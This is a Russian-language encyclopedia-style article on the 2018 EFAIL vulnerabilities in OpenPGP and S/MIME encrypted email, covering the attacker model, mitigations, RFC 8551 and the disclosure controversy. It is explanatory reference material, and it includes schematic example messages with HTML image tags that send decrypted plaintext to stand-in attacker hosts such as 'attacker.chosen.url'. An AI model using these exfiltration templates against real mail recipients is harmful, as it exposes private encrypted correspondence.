Ответ на вопрос
EFAIL
EFAIL — это две уязвимости в системах электронной почты, которые позволяют получить доступ к содержимому сообщений даже при использовании сквозного шифрования. Данные уязвимости могут быть эксплуатированы в стандартных форматах OpenPGP и S/MIME. В результате атак злоумышленник способен извлечь расшифрованный текст сообщения из уязвимых почтовых клиентов и переслать его на контролируемый сервер. При этом используемые ключи остаются в безопасности. Для успешной атаки необходимо, чтобы выбранная схема шифрования имела уязвимости, а почтовый клиент поддерживал выполнение активного содержимого, такого как HTML или JavaScript, и загрузку внешних ресурсов.
Уязвимости были обнаружены Дамианом Поддебняком, Кристианом Дрезеном, Йенсом Мюллером, Фабианом Айзингом, Себастьяном Шинцелем, Симоном Фридбергером, Юраем Соморовским и Йёргом Швенком и опубликованы 13 мая 2018 года в качестве доклада на 27-м симпозиуме USENIX Security Symposium, Балтимор, август 2018 года.
Описание
Модель атакующего
Для успешной реализации атаки злоумышленнику необходим доступ к шифрованным версиям атакуемых электронных писем. Это возможно, например, из-за отсутствия транспортного шифрования либо в результате успешной атаки на почтового провайдера. Дополнительно атакующий должен иметь возможность отправить изменённую версию письма хотя бы одному уязвимому получателю либо изменить письмо во время его транспортировки или в месте хранения.
Вариант 1 — атака с применением «Malleability Gadgets»
В первом варианте, так называемой атаке с использовнием malleability gadget (от англ. malleability — «изменяемость» и gadget — «устройство»), злоумышленник целенаправленно модифицирует шифротекст письма, чтобы внедрить в зашифрованное сообщение новые блоки открытого текста. Для успешной атаки необходимо, чтобы система шифрования не защищала содержимое от изменений, например с помощью кода аутентификации сообщений или Modification Detection Code, MDC. Тогда такие изменения можно вносить без знания приватного ключа.
В результате декодирования модифицированного сообщения появляется новый текст, например, HTML-тег <IMG>, при обработке которого почтовый клиент отправляет содержимое письма злоумышленнику.
Пример S/MIME-сообщения, модифицированного с помощью Malleability Gadgets:
Зашифрованное S/MIME-сообщение после модификации злоумышленником имеет следующую структуру (символ | указывает границы блоков AES):
MIME-Version: 1.0
Content-Type: application/pkcs7-mime;
smime-type=enveloped-data;
name="smime.p7m"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="smime.p7m"
|attackertextatta|ckertextattacker|
|textattackertext|attackertextatta|ckertextattacker|textattackertext|ENCRYPTEDMESSAGE|attackertextatta|
После расшифровки модифицированного сообщения почтовый клиент, например, получит следующий открытый текст:
|Content-type: te|xt/html |
|<img ignore="|????????????????|" src="atta.ck/|????????????????|СЕКРЕТНОЕСООБЩЕНИЕ|"> |
Такой подход приводит к появлению случайных байтов (обозначены «?») в расшифрованном тексте. В приведённом примере они комментируются с помощью несуществующего атрибута «ignore», чтобы избежать ошибок при разборе HTML. При попытке загрузки изображения почтовый клиент невольно отправляет секретный текст на сервер злоумышленника. Атака с применением Malleability Gadget актуальна для всех реализаций S/MIME до включительно версии 3.2, поскольку только в 2019 году с выходом версии 4.0 был введён механизм защиты от изменения шифротекста в ответ на атаку EFAIL. Для защиты в OpenPGP типично используется MDC всеми современными алгоритмами по умолчанию, но его применение не является обязательным и вопросы обработки отсутствующего или некорректного MDC оставлены на усмотрение реализации[1][2].
Вариант 2 — прямая эксфильтрация (Direct Exfiltration)
Второй тип атаки — direct exfiltration (прямая эксфильтрация) — основан на ошибках реализации стандарта MIME в почтовых клиентах и не затрагивает напрямую сами стандарты S/MIME или OpenPGP. Злоумышленник добавляет специальные вставки до и после зашифрованного текста, формируя таким образом многочастное MIME-сообщение (multipart/mixed), а также изменяет структуру письма так, что зашифрованная его часть вместе с маркерами границ MIME оказывается внутри параметра HTML-тега:
Пример S/MIME-сообщения, модифицированного для прямой эксфильтрации:
Content-Type: multipart/mixed; boundary="BOUNDARY"
--BOUNDARY
Content-Type: text/html
<img src="http://attacker.chosen.url/
--BOUNDARY
MIME-Version: 1.0
Content-Type: application/pkcs7-mime;
smime-type=enveloped-data;
name="smime.p7m"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="smime.p7m"
ENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGE…
--BOUNDARY
Content-Type: text/html
">
--BOUNDARY--
Почтовый клиент разбирает многочастное сообщение по маркерам BOUNDARY на отдельные части и осуществляет расшифровку вложенного сегмента. Затем клиент заново объединяет все части для отображения их в одном окне. Полученный HTML-код будет выглядеть следующим образом:[2]
[...]
<img src="http://attacker.chosen.url/
СЕКРЕТНОЕСООБЩЕНИЕСЕКРЕТНОЕСООБЩЕНИЕСЕКРЕТНОЕСООБЩЕНИЕ
">
[...]
Передача открытого текста злоумышленнику
В подобных сообщениях расшифрованное содержимое передаётся в качестве значения атрибута src= в HTML-теге <img>, и при обращении к ресурсу почтовый клиент отправляет этот URL на сервер злоумышленника (attacker.chosen.url). Таким образом злоумышленник может получить содержимое письма, например, анализируя журналы веб-сервера.
Противодействие (Workaround)
Поскольку данная уязвимость затрагивает содержание письма, а не отдельного получателя, требуется, чтобы все получатели реализовали соответствующие меры защиты.
В качестве временных защитных мер можно назвать:
- Отключение активного содержимого, такого как HTML и JavaScript, при просмотре электронной почты.
- Блокировка автоматической подгрузки внешних ресурсов, включая изображения.
Вопрос о том, могут ли отправители тоже повлиять на снижение риска (например, используя электронные подписи), пока остаётся открытым.
Решение для S/MIME
Обсуждение проблем, вызванных опубликованием EFAIL, привело к ускоренному развитию стандарта S/MIME. В апреле 2019 года была опубликована версия S/MIME 4.0, описанная в RFC 8551, где проблема EFAIL упоминается поимённо[3]. RFC 8551 рекомендует как можно скорее перейти на AES в режиме GCM[3].
Критика
В анонсе уязвимости 13 мая 2018 года организация Electronic Frontier Foundation (EFF) рекомендовала временно отказаться от PGP-плагинов для почтовых клиентов.[4] Первоначально публикация должна была состояться согласованно 15 мая, однако преждевременная огласка вызвала критику и дискуссии.[5][6][7][8] В социальных сетях вспыхнула волна критики в адрес EFF. В эссе Роберт Хансен рекомендует организовать закрытую рассылку для лучшей координации публикаций об уязвимостях в будущем. Несмотря на критику EFF, он считает её лучшей организацией для администрирования такой OpenPGP Disclosure Group и обращается напрямую к её директору Дэнни О’Брайену[9].
Примечания
- ↑ Shaw, David; Donnerhacke, Lutz; Thayer, Rodney; Finney, Hal; Callas, Jon (ноябрь 2007). “OpenPGP Message Format”. RFC 4880 [англ.]. Дата обращения 2024-06-14. Проверьте дату в
|date=(справка на английском) - ↑ 1 2 Carsten Eilers. EFAIL: Angriff auf verschlüsselte Mails – Wie funktioniert EFAIL und wie schlimm ist das alles wirklich? (нем.). entwickler.de. Software & Support Media GmbH (27 декабря 2018). Дата обращения: 14 июня 2024. Архивировано 18 мая 2019 года.
- ↑ 1 2 “Secure/Multipurpose Internet Mail Extensions (S/MIME) Version 4.0 Message Specification”. RFC 8551 [англ.]. апрель 2019. Дата обращения 2024-06-14. Проверьте дату в
|date=(справка на английском) - ↑ Danny O’Brien, Gennie Gebhart. Attention PGP Users: New Vulnerabilities Require You To Take Action Now (англ.). Electronic Frontier Foundation (13 мая 2018). Дата обращения: 14 июня 2024.
- ↑ Комментарий: Efail — «EFFail» (нем.). heise online (16 мая 2018). Дата обращения: 14 июня 2024.
- ↑ Fabian A. Scherschel. Главный разработчик Enigmail: публикация EFAIL была «непродуманной» (нем.). heise Security (15 мая 2018). Дата обращения: 14 июня 2024.
- ↑ Werner Koch (OpenPGP). Efail или OpenPGP безопаснее, чем S/MIME (англ.). gnupg-users (14 мая 2018). Дата обращения: 14 июня 2024.
- ↑ Matthew Green. Was the Efail disclosure horribly screwed up? (англ.). blog.cryptographyengineering.com (17 мая 2018). Дата обращения: 14 июня 2024.
- ↑ Robert Hansen. Efail: посмертный анализ (англ.). medium.com (20 мая 2018). Дата обращения: 14 июня 2024.
Литература
- Damian Poddebniak, Christian Dresen, Jens Müller, Fabian Ising, Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky, Jörg Schwenk. Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels (англ.) (август 2018). Дата обращения: 14 июня 2024.
Ссылки
- efail.de — официальный сайт уязвимости.
- Уязвимости eFail в реализациях OpenPGP и S/MIME (нем.) (PDF). Die Lage der IT-Sicherheit in Deutschland 2018 83. Bundesamt für Sicherheit in der Informationstechnik (сентябрь 2018). Дата обращения: 16 марта 2024.
- Daniel Kahn Gillmor. Encrypted Email and Security Nihilism (англ.). aclu.org (18 мая 2018). Дата обращения: 16 марта 2024.